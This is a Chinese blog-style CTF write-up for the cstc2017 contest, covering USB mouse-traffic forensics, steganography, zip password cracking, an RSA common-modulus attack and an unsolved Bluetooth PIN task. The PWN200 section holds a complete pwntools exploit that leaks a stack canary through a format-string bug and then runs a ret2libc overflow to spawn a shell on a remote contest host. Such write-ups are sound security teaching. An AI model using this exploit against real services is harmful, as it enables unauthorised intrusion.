Contents
  1. 1. cstc2017的部分wp
    1. 1.1. MISC150 - 轨迹
    2. 1.2. MISC200 - 种颗树吧
    3. 1.3. MISC250 - 我们的秘密
    4. 1.4. PWN200 - Magical Box
    5. 1.5. CRYPTO200 - crypto2
    6. 1.6. MISC100 - 什么玩意 (没做出来,暂时留位记录)

cstc2017的部分wp

记录部分题的解法

MISC150 - 轨迹

先file trace.io,发现该文件是一个pcap包,用wireshark打开:

发现是usb协议题,使用

1
tshark -r trace.pcap -T fields -e usb.capdata

能够得到下面的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
01:00:00:00:ff:ff:00:00
01:00:00:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:01:00:ff:ff:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:00:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:01:00:00:00
01:01:ff:ff:02:00:00:00
01:01:ff:ff:01:00:00:00
...

能够猜测到是鼠标操作相关的流量。
每一个数据包的数据区有四个字节,第一个字节代表按键,当取0x00时,代表没有按键、为0x01时,代表按左键,为0x02时,代表当前按键为右键。第二个字节可以看成是一个signed byte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少像素,为负时,代表水平左移多少像素。第三个字节与第二字节类似,代表垂直上下移动的偏移。(资料来源于: http://bobao.360.cn/learning/detail/3351.html)

所以直接跑脚本,绘制鼠标移动图像,得到flag。(https://github.com/WangYihang/UsbMiceDataHacker)

MISC200 - 种颗树吧

1
binwalk -Me final_new.zip

从压缩包中递归提取出两张图片1111.jpg, 2222.jpg,又从1111.jpg中提取出一个gif

查看了图1,图2都没什么信息,在gif里查到了一段In-order开头的字符串信息

起初以为栅栏凯撒组合加密,跑了一通都没结果,后来队友在2222.jpg中发现了其他的提示信息

百度搜索In-order, Post-order,发现是树的两种遍历方式

根据两种遍历方式画出树,再层序输出就得到flag

MISC250 - 我们的秘密

同样开局就binwalk先提取所有信息,得到下面一些文件

除了readme.txt之外,其他文件都是0字节,还有个0.zip压缩包需要输入密码,mac下解压8F9CB.zip得到那个readme.txt。但队友说这个压缩包解压需要密码,所以想到存在伪加密,拖进16进制编辑器,修改文件头,去掉加密标志位。

接着就只剩0.zip一个压缩包了,这里尝试使用zip明文攻击(参考资料:http://bestwing.me/2016/07/27/CTF-Misc&Crypto-Tools/#AAPasswordRecovery)
大概跑了两个多小时跑出密码<3xatu2o17>(这里失策了= =。。用的低资源的虚拟机跑的,应该直接放实体机,后来了解到,我应该是跑的时长最长的)

成功的到两个资源文件,一个wav, 一个mp4

这个一听都是莫尔斯电码:CTFSECWAR2017
另外一个视频放了下,居然是《人民的名义》= =。。

这里尝试了各种分析,全都无果,甚至还用ffmpeg转换成帧图,一个个看过去,什么有价值的信息都没有。。后来队友脑洞搜到

成功拿到flag

PWN200 - Magical Box

checksec发现保护比较多,主要有canary

但是在刚开始的login阶段就能发现有格式化漏洞,通过%7$08x泄漏canary


接着就是要登陆成功,进入后面的模块,它这里是对输入的字符传与全局变量s异或,再与s2比较。


这里有个暗坑,因为我是从main函数开始分析起的,并没有发现s2在init阶段就与0xc异或处理过一次,导致刚开始一直算不出正确的用户名。
登陆后进入跳转表:


一个个分析过去,在s_AddAnNewAcc中发现selfInput(src, 0x32)处很明显溢出

接着就是编写合适的exp去get shell,这里使用puts泄漏puts()在内存中的地址,然后和libc中的system(),’/bin/sh’偏移计算的到其在内存中的地址。

原先题目是没有libc的,但后来因为只有一人解出,所以放了libc。不过在有libc的情况下,再用puts去泄漏地址就有点大材小用了,可以直接用开头的格式化漏洞泄漏__libc_start_main__地址,然后计算内存偏移去getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/python

buf = [0x79, 0x3d, 0xf, 0x3, 0x44, 0x4b, 0x45, 0xa, 0x76, 0x0]
sbuf = "4Unf&uy7Mo"

#for ( i = 0; i < buflen(buf); ++i )
# v3[i] = buf[i] ^ *(_BYTE *)(i + 134525066);
#4Unf&uy7Mo
tempBuf = []

for i in xrange(len(sbuf)):
temp = ord(sbuf[i]) ^ 0xc
tempBuf += chr(temp)

str = ''
for i in xrange(len(buf)):
for j in range(0x0, 0xff):
#temp_j = j ^ ord(sbuf[i]);
temp_j = j ^ ord(tempBuf[i]);
if (temp_j == buf[i]):
print "buf(%#x)(%c) == after^ => (%#x)(%c) | buf = (%c)" %(j, chr(j), temp_j, chr(temp_j), sbuf[i])
str += chr(j)
break
print(str)

-----

#!/usr/bin/python

from pwn import *

addNewAccAddr = 0x080489AC
#selfInput(char *buf, int Len)
selfInputAddr = 0x0804871D
bssAddr = 0x0804B100
putsPltAddr = 0x08048570
putsGotAddr = 0x0804B030

#p = process('./pwn_box')
p = remote('117.34.80.134', 7777)
pwnElf = ELF('./pwn_box')
libcELF = ELF('./libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p, '''b *0x08048ACD\n\rc\n\r''')


p.recvuntil('are you?')
p.sendline('%7$08x')
p.recvuntil('login!')
canary = p.recv(8)
canaryVal = eval('0x'+canary)
print "canary = %s, %#x" %(canary, canaryVal)
p.recvuntil('you?')
p.sendline('Admin2017')
p.recvuntil('commands.')
p.sendline('?')
p.recvuntil('--\n')
p.sendline('add')
p.recvuntil('Site: ')
p.sendline('test')
p.recvuntil('Username: ')
p.sendline('test')
p.recvuntil('Password: ')

payloadHead = 'a' * 30 + p32(canaryVal)
payloadHead += 'b'*(46-len(payloadHead))
#payload += p32(selfInputAddr) + p32(addNewAccAddr) + p32(bssAddr) + p32(8)
#p.sendline(payload)
#p.send('/bin/sh\0')

payload1 = payloadHead + p32(putsPltAddr) + p32(addNewAccAddr) + p32(putsGotAddr)
p.sendline(payload1)
p.recvuntil('--\n\n')
putsAddr = u32(p.recv(4))
print 'putsPltAddr = ' + hex(putsPltAddr)
print 'putsGotAddr = ' + hex(putsGotAddr)
print 'putsAddr = ' + hex(putsAddr)

# calculating system() & '/bin/sh'
systemAddr = putsAddr - (libcELF.symbols['puts'] - libcELF.symbols['system'])
print 'systemAddr = ' + hex(systemAddr)
binshAddr = putsAddr - (libcELF.symbols['puts'] - next(libcELF.search('/bin/sh')))
print 'binshAddr = ' + hex(binshAddr)

p.recvuntil('Site: ')
p.sendline('test')
p.recvuntil('Username: ')
p.sendline('test')
p.recvuntil('Password: ')

payload2 = payloadHead + p32(systemAddr) + p32(addNewAccAddr) + p32(binshAddr)
p.sendline(payload2)

p.interactive()

CRYPTO200 - crypto2

题目附件是个pcap包,wireshark打开后

发现有PUBLICE, PUBLICN,所以猜测是rsa加密通信。

但这里发现他们的N相同,在常见的RSA攻击中找到了共模攻击的资料
(http://bobao.360.cn/learning/detail/3058.html)

所以跑脚本解密得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python

from binascii import *

n1 = 295722865793798033460986793237541395631977030560369657198479193181766567057754287459743723539658396944636677358515648785314565228205230261697963097395812598331880872455869139731578362748460265979187318613591087019956434720952036757300875287830045303192314296720794872499471775336492552983354160440794987630219
n2 = n1
c1 = 15839981826811799772634108807452583389456749354145216574984222938829756753294086924872110969732766251541785740757693788214686206806750788561292837339359061701208001297802597
c2 = 155249880144094802834481749928592059461139577288355397447367776112547796231086359709731959934830872744121046740255722326833958323017063249153808715277882003426237167195613685868065416967276090907468102632169601247074603247233477582113388294508579159856963458656960060635516531998836585340648309492666005454968
e1 = 3
e2 = 7

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
print s
n = n1
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m = (pow(c1, s1, n)*pow(c2,s2,n))%n
print m
#print unhexlify(m)
print unhexlify(hex(m).rstrip('L')[2:])

MISC100 - 什么玩意 (没做出来,暂时留位记录)

题目要求提交flag{链路秘钥}
下载下来附件里有两个文本文件,分别是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
a0 5c 93 08
f5 0d 28 60
00 10 c6 55 e4
00 1b 59 97 e4
00 10 c6 55 e4 39
00 1b 59 97 e4 70
31 30 c9 45 81 f9 f2 b9 69 fc 09 d8
a0 fe 92 0f 5c c2 8a 7b 61 65 de 52
09 6b c0 f3 6f 0a 85 fa 84 88 dc 22
ae 54 7c 47 d3 9f 06 b4 59 c8 0e a7
78 16 eb c4 0c 19 13 e9 cd ff 0c af
a4 ae 80 52 31 30 c9 45 81 f9 f2 b9 69 fc
4b 57 50 03 a0 fe 92 0f 5c c2 8a 7b 61 65
46 ec 36 66 09 6b c0 f3 6f 0a 85 fa 84 88
f2 8b 06 26 ae 54 7c 47 d3 9f 06 b4 59 c8
96 f2 da 3e 78 16 eb c4 0c 19 13 e9 cd ff
a4 ae 80 52 31 30 c9 45 81 f9 f2 b9 69 fc 09 d8
4b 57 50 03 a0 fe 92 0f 5c c2 8a 7b 61 65 de 52
46 ec 36 66 09 6b c0 f3 6f 0a 85 fa 84 88 dc 22
f2 8b 06 26 ae 54 7c 47 d3 9f 06 b4 59 c8 0e a7
96 f2 da 3e 78 16 eb c4 0c 19 13 e9 cd ff 0c af

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
Protocol,LMP,XiAn,
Index,Slave/Master,Type,Description,Payload Data
5,Master,DM1,LMP_version_req,4A 02 0A 00 DB 04
12,Slave,DM1,LMP_version_res,4C 01 01 00 2C 02
19,Master,DM1,LMP_features_req,4E BF FE 0F 00 18 18 00 00
26,Slave,DM1,LMP_features_res,50 BF 28 21 00 00 00 00 00
33,Master,DM1,LMP_host_connection_req,66
62,Slave,DM1,LMP_accepted : LMP_host_connection_req,06 33
66,Slave,DM1,LMP_setup_complete,63
69,Master,DM1,LMP_setup_complete,62
73,Master,DM1,LMP_max_slot : 5,5A 05
75,Master,DM1,LMP_max_slot_req : 5,5C 05
120,Slave,DM1,LMP_accepted : LMP_max_slot_req,06 2E
127,Master,DM1,LMP_clkoffset_req,0A
134,Slave,DM1,LMP_clkoffset_res : 17542(0x4486),0C 86 44
137,Master,DM1,LMP_name_req,02 00
146,Slave,DM1,LMP_name_res : Nophretete,04 00 0A 4E 6F 70 68 72 65 74 65 74 65 00 00 00 00
152,Slave,DM1,LMP_name_res : Nophretete,04 00 0A 4E 6F 70 68 72 65 74 65 74 65 00 00 00 00
153,Master,DM1,LMP_features_req,4E BF FE 0F 00 18 18 00 00
160,Slave,DM1,LMP_features_res,50 BF 28 21 00 00 00 00 00
187,Master,DM1,LMP_version_req,4A 02 0A 00 DB 04
194,Slave,DM1,LMP_version_res,4C 01 01 00 2C 02
5933,Master,DM1,LMP_in_rand,10 EC 50 3F 96 EF 26 97 7E 4E DE 35 10 9D 6A 91 68
6004,Slave,DM1,LMP_name_req,03 00
6011,Master,DM1,LMP_name_res : Audit,05 00 05 41 75 64 69 74 00 00 00 00 00 00 00 00 00
13536,Slave,DM1,LMP_accepted : LMP_in_rand,06 08
13561,Master,DM1,LMP_comb_key,12 76 4F DA 77 B7 EE 88 9A 6C 11 D0 CA 08 83 73 CD
13568,Slave,DM1,LMP_comb_key,12 FF 80 DF E2 CD 72 83 76 83 A4 9C C9 A7 E1 C3 BB
13601,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13603,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13605,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13607,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13609,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13611,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13613,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13615,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13617,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13619,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13621,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13623,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13625,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13627,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13629,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13631,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13633,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13635,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13637,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13639,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13641,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13643,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13645,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13647,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13649,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13651,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13653,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13655,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13657,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13659,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13661,Master,DM1,LMP_au_rand,16 97 30 ED DB FD 30 1B B8 CE 1A 20 A8 C3 D2 79 D1
13772,Slave,DM1,LMP_sres,18 10 D5 C0 DC
13878,Slave,DM1,LMP_au_rand,16 1C 2B D8 3F 15 7A 49 58 B4 F8 ED 3F 6D F1 62 20
13897,Master,DM1,LMP_sres,18 26 06 6D 00
14261,Master,DM1,LMP_clkoffset_req,0A
14268,Slave,DM1,LMP_clkoffset_res : 17542(0x4486),0C 86 44
22078,Slave,DM1,LMP_detach : Reason - Remote User Terminated Connection,0F 13

搜索关键字得到信息可能是蓝牙PIN码破解

在《无线网络安全攻防实战进阶》一书中有讲到过使用工具BTCrack来破解蓝牙PIN码


但时间原因,实在是找不到这个工具了,最后使用了github上一个开源的工具,测试时发现简短的PIN码是秒出的

但这题目中的第一个附件一知不知道干嘛的,于是从中挑出了符合mac地址的数据做为master addr和slave addr进行破解。。但跑了一百年都没结果。。。好惆怅啊

Contents
  1. 1. cstc2017的部分wp
    1. 1.1. MISC150 - 轨迹
    2. 1.2. MISC200 - 种颗树吧
    3. 1.3. MISC250 - 我们的秘密
    4. 1.4. PWN200 - Magical Box
    5. 1.5. CRYPTO200 - crypto2
    6. 1.6. MISC100 - 什么玩意 (没做出来,暂时留位记录)